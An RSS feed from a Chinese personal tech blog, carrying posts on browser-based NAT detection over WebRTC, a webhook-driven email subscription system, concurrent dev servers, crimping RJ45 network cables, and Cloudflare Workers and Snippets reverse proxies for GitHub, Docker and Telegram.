<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>《二叉树树》官方网站</title><description>AcoFork</description><link>https://2x.nz/</link><language>zh_CN</language><item><title>加群向导</title><link>https://2x.nz/posts/pin/</link><guid isPermaLink="true">https://2x.nz/posts/pin/</guid><description>关于如何联系二叉树树~</description><pubDate>Fri, 23 May 2025 16:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;官方&lt;/h1&gt;
&lt;h2&gt;Telegram群组&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://t.me/+_07DERp7k1ljYTc1&quot;&gt;Telegram: Join Group Chat [2x.nz]&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;QQ群&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;为什么仅QQ群需要赞助？因为QQ作为国内平台，很容易被内鬼举报致使封群，但相对的，门槛更低，交流更方便。当然，如果您是高级用户，可以加入非QQ群。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;请先 &lt;a href=&quot;/sponsors/&quot;&gt;赞助&lt;/a&gt; 至少 &lt;strong&gt;10 CNY&lt;/strong&gt; 后加群。赞助时建议留备注，加群问题填写你留的备注或者交易订单号
点击链接加入群聊【2x.nz】： &lt;a href=&quot;https://qm.qq.com/q/I2Quch1uy6&quot;&gt;QQ群&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/2025-08-15-03-24-11-image.B1R--XOe.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;非官方&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;粉丝自建&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://t.me/blog2x&quot;&gt;Telegram: View @blog2x&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>握草，用浏览器检测你的NAT类型？！</title><link>https://2x.nz/posts/check-nat-webrtc/</link><guid isPermaLink="true">https://2x.nz/posts/check-nat-webrtc/</guid><description>众所周知，NAT类型的检测并不是什么门槛，但是，如果我说纯浏览器也可以实现检测呢...</description><pubDate>Sat, 04 Apr 2026 13:46:01 GMT</pubDate><content:encoded>&lt;h1&gt;视频（非教程）&lt;/h1&gt;
&lt;p&gt;https://www.bilibili.com/video/BV1H4DuBWEes/&lt;/p&gt;
&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;我们都知道，NAT类型测试非常简单就可以实现，我们可以使用类似如下Python库在客户端本地跑一个脚本测试&lt;/p&gt;
&lt;p&gt;::github{repo=MikeWang000000/Natter}&lt;/p&gt;
&lt;p&gt;但如果我说，我们根本就不需要下载一个程序，只需要打开一个浏览器就可以测试你的NAT类型呢？&lt;/p&gt;
&lt;p&gt;稍微深入一点，大部分的客户端测试你的NAT类型一般都是&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;主动请求STUN服务器&lt;/li&gt;
&lt;li&gt;分析返回的 &lt;code&gt;公网IP:端口&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;判断NAT类型&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;但是，在浏览器中，我们无法发送原生的UDP（STUN）请求，只能使用一个包装过的UDP接口： &lt;strong&gt;WebRTC&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;该功能设计初衷是让浏览器也可以进行P2P连接&lt;/p&gt;
&lt;p&gt;但我们也可以将它拿来测试NAT类型，不过我们的后端需要富裕一点：&lt;strong&gt;用两个不同的IP来探测&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;实际上，它的原理简单来说就是：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;浏览器请求STUN服务器，将自己的 &lt;code&gt;公网IP:端口&lt;/code&gt; 发送给后端A（HTTP/WS）&lt;/li&gt;
&lt;li&gt;后端A收到浏览器的  &lt;code&gt;公网IP:端口&lt;/code&gt; 后，发送回包，拿取凭证（因为浏览器不允许陌生源直接发包）。此时，后端A已经是可信源了&lt;/li&gt;
&lt;li&gt;接下来，后端A将自己的凭证告知后端B，让后端B拿着这个凭证去请求浏览器。如果可以收到浏览器的回包，则是 &lt;strong&gt;全锥型&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;如果收不到，则让后端A换端口请求浏览器。如果可以收到包，则是 &lt;strong&gt;IP限制型&lt;/strong&gt; ，如果不行，则继续测试&lt;/li&gt;
&lt;li&gt;最后，再让后端A用同一个端口请求浏览器。如果可以收到包，并且浏览器源端口与之前一致，则是 &lt;strong&gt;端口限制型&lt;/strong&gt; ，如果不一致或压根收不到包，则为 &lt;strong&gt;对称型&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;详细的技术文档参见： &lt;a href=&quot;https://github.com/afoim/webrtc_check_nat/blob/main/nat_detector_explanation.md&quot;&gt;webrtc_check_nat/nat_detector_explanation.md at main · afoim/webrtc_check_nat&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;实现&lt;/h1&gt;
&lt;p&gt;最终，我们只需要写好后端，再创建一个HTTP端点，即可实现 &lt;strong&gt;完整的、全状态、纯浏览器的&lt;/strong&gt; NAT类型检测&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/check-nat-webrtc.CU9oJWQG.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;::github{repo=afoim/webrtc_check_nat}&lt;/p&gt;
&lt;p&gt;::url{href=&quot;https://2x.nz/nat-check/&quot;}&lt;/p&gt;
</content:encoded></item><item><title>手搓一个电子邮件订阅器！</title><link>https://2x.nz/posts/email-posts-sub/</link><guid isPermaLink="true">https://2x.nz/posts/email-posts-sub/</guid><description>你可曾想过手搓一个基于邮件形式的文章订阅器？读者只需告诉系统邮箱，之后的文章更新都会发一封邮件来通知他们！</description><pubDate>Fri, 03 Apr 2026 11:19:05 GMT</pubDate><content:encoded>&lt;h1&gt;视频&lt;/h1&gt;
&lt;p&gt;https://www.bilibili.com/video/BV1hpDKBbES9/&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;众所周知，目前如果你想订阅本博客，可以采用以下几种方式&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;瞪眼法&lt;/strong&gt; 在多次浏览中通过大脑的逻辑中枢来判断有哪些新文章，或有哪些文章更新了&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;简易瞪眼法&lt;/strong&gt; 在多次浏览中，若文章状态变化，右下角的小铃铛则会显示相应通知，点击后甚至可以看到高级的DIFF
&lt;img src=&quot;https://2x.nz/_astro/email-posts-sub.BXUoQi9a.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RSS&lt;/strong&gt; 通过RSS订阅器订阅本博客的RSS XML文件，由第三方告知文章更新状态
&lt;img src=&quot;https://2x.nz/_astro/email-posts-sub-1.BgcrngnF.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;加入群组&lt;/strong&gt; 通过置顶文章加入群组，群内会有Bot在文章更新时广播一条消息
&lt;img src=&quot;https://2x.nz/_astro/email-posts-sub-2.ByxNQXYA.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;催更法&lt;/strong&gt; 想办法要到我的联系方式，催更，大概率我会在你要求的新文章发布后踹你一脚&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;emm，看似很多，的确很多，但是由于多多益善，可得还不够多，所以我们准备再添加一个古法订阅&lt;/p&gt;
&lt;p&gt;那就是 &lt;strong&gt;电子邮件通知&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;实现它在现在其实非常简单，由于我们已经有了一个 &lt;a href=&quot;/forum/&quot;&gt;论坛&lt;/a&gt; ，可以直接在用户个人中心添加一个选项卡，勾选后即可接收后续的文章通知&lt;/p&gt;
&lt;p&gt;我们甚至无需担心垃圾邮件，因为在注册论坛时已经有了相对严格的验证&lt;/p&gt;
&lt;p&gt;那么接下来就是架构的设置，正如上文提到的，我们有一个提醒文章更新的Bot&lt;/p&gt;
&lt;p&gt;实际上，最终的电子邮件发送的东西和这个东西差不多&lt;/p&gt;
&lt;p&gt;也就是说，我们只需要让Bot在发送消息的同时，将要发送的内容推送给我们&lt;/p&gt;
&lt;p&gt;&lt;em&gt;至于Bot是如何做到文章更新推送消息的，请参见 &lt;a href=&quot;/posts/github-webhook/&quot;&gt;这里&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;那么不难想象，我们只需要在后端创建一个WebHook端点，接受Bot发送的WebHook消息，然后将正文作为邮件正文发送给订阅后的用户&lt;/p&gt;
&lt;p&gt;最终，架构如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flowchart TD
    A[Git Push 特殊事件&amp;lt;br/&amp;gt;posts: / update:] --&amp;gt; B[GitHub WebHook]
    B --&amp;gt; C[Bot WebHook 接收端点]

    C --&amp;gt; D[延迟队列 / 定时器]

    D --&amp;gt; E[Bot 向群内推送消息]
    D --&amp;gt; F[二次 WebHook 请求]

    F --&amp;gt; G[论坛后端 WebHook 端点]

    G --&amp;gt; H[封装邮件正文]
    H --&amp;gt; I[异步邮件发送服务]
    I --&amp;gt; J[所有订阅用户]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ok！思路清晰了，实践就简单了&lt;/p&gt;
&lt;p&gt;首先前往Bot插件，将 &lt;code&gt;blog_post.py&lt;/code&gt; 插件添加一个二次WebHook的功能&lt;/p&gt;
&lt;p&gt;再为论坛后端添加一个接受WebHook的端点，并绑定发邮事件。顺便再加一个API用于控制用户是否为 &lt;strong&gt;订阅者&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最终在前端对接后端API，以及添加新UI控件支持用户在论坛的个人信息页配置是否要接受新文章推送&lt;/p&gt;
&lt;p&gt;测试！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/c9bb51ef1f6e3c994f76c55ae7854fb5.C_uQvQri.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/email-posts-sub-3.C_kDYOoV.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/a570d8792d2823cabbe41834d0a64405.Bqd8M4av.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>你在做全栈吗？你想要前后端统一的热重载吗？</title><link>https://2x.nz/posts/concurrently/</link><guid isPermaLink="true">https://2x.nz/posts/concurrently/</guid><description>经常做全栈的小伙伴们都知道，写完后端看效果要dev，写完前端看效果也要dev，那么有没有一劳永逸的解决方案呢？</description><pubDate>Tue, 24 Mar 2026 11:51:17 GMT</pubDate><content:encoded>&lt;h1&gt;引言&lt;/h1&gt;
&lt;p&gt;经常做全栈的小伙伴们都知道，写完后端看效果要dev，写完前端看效果也要dev，那么有没有一劳永逸的解决方案呢？&lt;/p&gt;
&lt;p&gt;比如说我的项目：&lt;/p&gt;
&lt;p&gt;::github{repo=&quot;afoim/acofork_forum_backend&quot;}&lt;/p&gt;
&lt;p&gt;前端是一坨React&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/concurrently-1.BhqUCnW7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;后端是一坨 Typescript&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/concurrently-2.Ytsnm8GD.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而前端要用 Vite 来 Dev&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/concurrently-3.BWq_Yz79.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么后端还要使用 Wrangler 来 Dev&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/concurrently-4.K-Yz_M7e.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么如果我们想要测试，就需要把前后端的dev一起拉起来，对吧？&lt;/p&gt;
&lt;p&gt;但是不知道为什么，在今天之前，我都是用一种很奇妙的方法来做这件事的，那就是&lt;/p&gt;
&lt;p&gt;&lt;em&gt;我先Build前端，然后让后端把前端build后的产物作为静态路由&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;这会导致一个问题，由于最终是 Wrangler 起的 Dev，那么后端自然是可以热重载的了，那么前端呢？&lt;/p&gt;
&lt;p&gt;在曾经，我改一次前端，就要 rebuild 一下，但是现在，我们有一个更好的解决方案，那就是：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;concurrently !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;它是一个能给前端 + 后端的 Dev 同时拉起来，这样，我们就同时得到了前后端的热重载，我们只需要专心的去改代码，网页会实时呈现效果&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先，安装 concurrently 的 npm 包&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm install -D concurrently
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来配置 &lt;code&gt;package.json&lt;/code&gt; 。意为：调用 &lt;strong&gt;concurrently&lt;/strong&gt; 工具同时运行 &lt;code&gt;npm run dev:frontend&lt;/code&gt; 和 &lt;code&gt;npm run dev:backend&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;dev-remote 是用来连接远程 D1 SQL 进行开发调试的&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    &quot;scripts&quot;: {
        &quot;build:frontend&quot;: &quot;vite build --config frontend/vite.config.ts&quot;,
        &quot;dev:frontend&quot;: &quot;vite --config frontend/vite.config.ts&quot;,
        &quot;dev:backend&quot;: &quot;wrangler dev&quot;,
        &quot;dev:backend-remote&quot;: &quot;wrangler dev --remote&quot;,
        &quot;deploy&quot;: &quot;npm run build:frontend &amp;amp;&amp;amp; wrangler deploy&quot;,
        &quot;dev&quot;: &quot;concurrently \&quot;npm run dev:frontend\&quot; \&quot;npm run dev:backend\&quot;&quot;,
        &quot;dev:remote&quot;: &quot;concurrently \&quot;npm run dev:frontend\&quot; \&quot;npm run dev:backend-remote\&quot;&quot;,
        &quot;start&quot;: &quot;npm run build:frontend &amp;amp;&amp;amp; wrangler dev&quot;,
        &quot;test&quot;: &quot;vitest run&quot;,
        &quot;cf-typegen&quot;: &quot;wrangler types&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;最后，我们需要设置一下 Vite 的 Proxy ，将 &lt;code&gt;/api&lt;/code&gt; 也就是后端的请求转发给 Wrangler ，配置 Vite 配置文件的 &lt;code&gt;server&lt;/code&gt; 块&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    server: {
        fs: {
            allow: [&apos;..&apos;]
        },
        proxy: {
            &apos;/api&apos;: {
                target: &apos;http://localhost:8787&apos;,
                changeOrigin: true
            }
        }
    }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后，我们就可以使用一条命令，同时拉起前后端的 Dev ，并且都支持热重载&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm run dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/concurrently-5.sUu0xdY0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/concurrently-6._AfuA5XV.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>教你手搓网线！打好人生第一个水晶头！</title><link>https://2x.nz/posts/rj45/</link><guid isPermaLink="true">https://2x.nz/posts/rj45/</guid><description>现代生活离不开网络，你想要自己搓一根网线吗？</description><pubDate>Mon, 23 Mar 2026 07:21:29 GMT</pubDate><content:encoded>&lt;h1&gt;为什么要这么做？&lt;/h1&gt;
&lt;p&gt;有人说，我要接网线的话，为什么不去买成品网线？&lt;/p&gt;
&lt;p&gt;当然可以，但是成品网线的长度是固定的，在实际环境下，我们有时候很难买到一根 &lt;strong&gt;长度刚刚好&lt;/strong&gt; 的网线，这时，如果我们会自己打水晶头，那么问题就迎刃而解了，同时，裸线 + 水晶头相比与成品网线也相对便宜&lt;/p&gt;
&lt;h1&gt;准备&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;网线钳 x1&lt;/li&gt;
&lt;li&gt;超五类网线裸线 x1&lt;/li&gt;
&lt;li&gt;水晶头 x2&lt;/li&gt;
&lt;li&gt;测线仪（自信者可忽略）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;网线钳&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;裁剪线缆&lt;/li&gt;
&lt;li&gt;剥线缆外皮，使其露出双绞线&lt;/li&gt;
&lt;li&gt;裁剪过长的双绞线&lt;/li&gt;
&lt;li&gt;压实水晶头两段的扣具（一段压实网线外皮，一段将金属舌刺入双绞线
&lt;img src=&quot;https://2x.nz/_astro/rj45-2.CoxoXapj.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;超五类网线裸线&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;作为网线使用
&lt;img src=&quot;https://2x.nz/_astro/rj45-3.DNfqBxjD.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;水晶头&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;接入裁剪后网线的两端，最后插入网络设备的网口
&lt;img src=&quot;https://2x.nz/_astro/rj45-4.CyhAYo0B.png&quot; alt=&quot;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;实操&lt;/h1&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;将线缆卡入网线钳的第一个线缆刀口：剪线刀口（通常较浅），裁切线缆（&lt;strong&gt;实际需要的长度+5CM&lt;/strong&gt;，增加一点容错）
&lt;img src=&quot;https://2x.nz/_astro/rj45-13.COaKfqON.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将线缆卡入网线钳的第二个线缆刀口：剥线刀口（通常较深），距离大约2~4CM（初学者可以剥长一些，方便后续解双绞线，当然，剥得越长浪费的越多），将网线钳压实，并且来回旋转线缆和网线钳，最终向外剥除
&lt;img src=&quot;https://2x.nz/_astro/rj45-14.cNJcS8H2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;此时，4对双绞线会暴露出来，分别为 &lt;strong&gt;橙、绿、蓝、棕&lt;/strong&gt;，每对双绞线为 &lt;strong&gt;一根相间线和一根纯色线&lt;/strong&gt;，比如 &lt;strong&gt;橙线，白橙线&lt;/strong&gt;&lt;br /&gt;
&lt;img src=&quot;https://2x.nz/_astro/rj45-5.C09Ad8lu.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;我们将其全部解开，并重新排序为（T-568B线序）：&lt;strong&gt;白橙，橙色，白绿，蓝色，白蓝，绿色，白棕，棕色&lt;/strong&gt; 。口诀为： &lt;strong&gt;橙绿蓝棕&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/rj45-1.CKCUKoWX.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;理好线后一般会过长，我们需要将裸露在外的双绞线裁剪到 10~12MM 左右。将理好的线塞入网线钳的剪线刀口，将其裁断。若过长，最终会导致 &lt;strong&gt;水晶头三角卡扣无法固定线缆外皮&lt;/strong&gt; ，导致日后脱线的隐患；若过短，则会 &lt;strong&gt;无法将双绞线完全塞入水晶头内部线槽&lt;/strong&gt; ，最终金属舌将无法精准刺入8根线芯，导致断芯
&lt;img src=&quot;https://2x.nz/_astro/rj45-6.ZjWHJr1O.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将水晶头拿起，&lt;strong&gt;塑料舌对外，金属舌对内&lt;/strong&gt;，将网线塞入水晶头
&lt;img src=&quot;https://2x.nz/_astro/rj45-8.Df9-WiA3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;接着在 &lt;strong&gt;确保线序正确&lt;/strong&gt; 的情况下将8根线芯塞入水晶头内的线槽， &lt;strong&gt;并塞紧&lt;/strong&gt; 。从侧面、上面观察，保证8根线芯全部怼紧，&lt;strong&gt;确保水晶头上金属舌的三个针刺都能刺入线芯&lt;/strong&gt;，并且&lt;strong&gt;塑料舌侧的三角卡扣可以压到线缆外皮&lt;/strong&gt;
&lt;img src=&quot;https://2x.nz/_astro/rj45-7.B3fZl1Ta.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/rj45-11.C5sG7UED.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;不要松手&lt;/strong&gt; ，将还没固定的水晶头卡入剪线钳的RJ45卡口，并&lt;strong&gt;保证网线钳的金属舌对准水晶头上的金属舌&lt;/strong&gt;（避免装反）
&lt;img src=&quot;https://2x.nz/_astro/rj45-9.3ZGQHAoi.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;此步操作后不可回滚&lt;/strong&gt; 。&lt;strong&gt;用力压实&lt;/strong&gt; 网线钳，保证 &lt;strong&gt;金属舌刺入8根线芯&lt;/strong&gt;，&lt;strong&gt;塑料三角扣具压住网线外皮&lt;/strong&gt;。至此，一端的水晶头便已打好，另一端如法炮制即可
&lt;img src=&quot;https://2x.nz/_astro/rj45-12.Cu71WMNe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;将打好水晶头的网线接入测线仪测试，设置为T568B线序，&lt;strong&gt;保证1-8灯按顺序亮起&lt;/strong&gt;，并且&lt;strong&gt;稍微拉扯水晶头与线缆不脱落&lt;/strong&gt;，网线质量则过关，可以投入使用。若出现异常请回到第一步将废弃水晶头裁断重新开始流程
&lt;img src=&quot;https://2x.nz/_astro/rj45-15.DDUfTAWS.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>你...买 Cloudflare Pro 了吗？来玩超级牛逼的 Snippets ！</title><link>https://2x.nz/posts/snippets/</link><guid isPermaLink="true">https://2x.nz/posts/snippets/</guid><description>Snippets 是 Cloudflare 提供的不限量不计费的轻量Worker，我们可以拿她干不少有趣的业务！</description><pubDate>Wed, 18 Mar 2026 10:53:50 GMT</pubDate><content:encoded>&lt;h1&gt;你...买Cloudflare Pro了吗？&lt;/h1&gt;
&lt;p&gt;虽然Snippets是一个Pro才能使用的功能&lt;/p&gt;
&lt;p&gt;但其实也不一定要买，在一月份的Bug时期，部分免费域名可以免费得到5条Snippets，不过现在已经木大了&lt;/p&gt;
&lt;p&gt;另一方面，如果你是一个开源开发者，并且你的开源项目关于或依托于 Cloudflare 运行，可以尝试申请Cloudflare的开源项目赞助计划：&lt;a href=&quot;https://www.cloudflare.com/zh-cn/lp/project-alexandria/&quot;&gt;Alexandria 项目 - 生日周 | Cloudflare&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;最后呢，如果你凑巧财力雄厚，可以直接花 25 刀买一个月的 Pro，Pro有25条Snippets规则，并且在到期后只是不能更改，但仍然可用。可以看作是1刀买一条规则吧，这样想想是不是还挺值的？&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Pro 还可以自定义WAF，几乎所有的功能相比 Free 都会多不少的份额，并且还会开放类似 Snippets 这种独占功能&lt;/em&gt;&lt;/p&gt;
&lt;h1&gt;Hmm...我拿到Snippets了，她能帮我做什么？&lt;/h1&gt;
&lt;p&gt;哦！那可以干很多事了！&lt;/p&gt;
&lt;p&gt;首先我们先不谈能做什么，先谈谈这是什么吧！&lt;/p&gt;
&lt;p&gt;Snippets ... 你可以把她看成 Worker 的妹妹，Snippets 只能在边缘运行JS代码，但无法原生与R2，D1，KV集成，或托管任何静态文件&lt;/p&gt;
&lt;p&gt;&lt;em&gt;但也只是无法用官方API调用这些东西，我们仍然可以想办法用S3 API，RESTFul API，Graph QL API来从公网调用你想用的东西&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;你可能感觉一般般？花钱买了阉割版？&lt;/p&gt;
&lt;p&gt;不！Snippets 最牛逼的地方绝对不是她能做什么大展宏图的功能&lt;/p&gt;
&lt;p&gt;而是 &lt;strong&gt;不限量！不计费！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;没错，只要你让一个Snippets跑起来了！她将在互联网上 &lt;strong&gt;永生&lt;/strong&gt; &lt;em&gt;除了 Cloudflare 宕机&lt;/em&gt; 在这期间无论是被打了亦或是被刷了都完全无法使她宕机&lt;/p&gt;
&lt;p&gt;那么我们就能干很多事情了&lt;/p&gt;
&lt;p&gt;什么 Github 代理啊... &lt;a href=&quot;https://github.com/afoim/GithubSiteProxyForCloudflareWorker/blob/main/src/snippet.js&quot;&gt;GithubSiteProxyForCloudflareWorker/src/snippet.js at main · afoim/GithubSiteProxyForCloudflareWorker&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;什么 Docker 代理啊... &lt;a href=&quot;https://github.com/afoim/CF-Workers-docker.io/blob/main/snippet.js&quot;&gt;CF-Workers-docker.io/snippet.js at main · afoim/CF-Workers-docker.io&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;什么 Telegram API代理啊... &lt;em&gt;自己找GPT写一个吧，很简单：&lt;code&gt;帮我编写一个适用于 Cloudflare Snippets 的反向代理脚本，目标为 api.telegram.org&lt;/code&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;又或是和你的静态随机图打打配合啊... &lt;a href=&quot;https://github.com/afoim/choice_randompic&quot;&gt;afoim/choice_randompic: 和 https://github.com/afoim/Static_RandomPicAPI 搭配使用，通过Snippet使得服务端返回302的随机图&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;甚至还可以连上一些免费的数据库帮你做点全栈应用？ &lt;em&gt;太懒了，我还没写qwq&lt;/em&gt;&lt;/p&gt;
&lt;h1&gt;成果展示&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Github全站反代： https://gh.2x.nz&lt;/li&gt;
&lt;li&gt;Docker镜像源： https://docker.2x.nz&lt;/li&gt;
&lt;li&gt;Telegram API反代： https://tgapi.2x.nz&lt;/li&gt;
&lt;li&gt;随机图： https://c-p.2x.nz/h&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>终极版！国内免梯上Github！</title><link>https://2x.nz/posts/gh-cf/</link><guid isPermaLink="true">https://2x.nz/posts/gh-cf/</guid><description>巨简单！1分钟自建你的Github代理！</description><pubDate>Tue, 10 Mar 2026 11:29:58 GMT</pubDate><content:encoded>&lt;h1&gt;视频&lt;/h1&gt;
&lt;p&gt;https://bilibili.com/video/BV16YcXzeEGJ&lt;/p&gt;
&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;原理这里不说，好奇的可以自行站内搜索&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;复制该代码&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/afoim/GithubSiteProxyForCloudflareWorker/blob/main/worker.js&quot;&gt;GithubSiteProxyForCloudflareWorker/worker.js at main · afoim/GithubSiteProxyForCloudflareWorker&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;部署到 Cloudflare Worker&lt;/p&gt;
&lt;p&gt;创建DNS解析：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*.yourdomain.com CNAME CloudflareCDN
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/gh-cf.CfuJjtfQ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;创建Worker路由：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*-gh.yourdomain.com
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/gh-cf-1.DDtUZ__R.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;创建重定向：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gh.yourdomain.com 302 github-com-gh.yourdomain.com 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/gh-cf-2.BGb-O-wa.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;屏蔽海外（海外你连不上Github？）&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/gh-cf-3.CKF7g3pj.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;享受它！访问：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;gh.yourdomain.com/yourname
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://2x.nz/_astro/gh-cf-4.C7FDU4m7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
